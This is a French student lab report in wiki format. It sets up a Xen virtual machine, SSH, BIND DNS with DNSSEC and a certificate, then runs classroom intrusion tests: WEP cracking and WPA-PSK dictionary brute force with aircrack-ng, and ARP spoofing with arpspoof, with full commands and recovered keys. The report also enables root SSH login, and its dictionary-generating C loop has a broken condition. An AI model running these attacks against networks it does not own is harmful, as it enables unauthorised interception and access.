&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
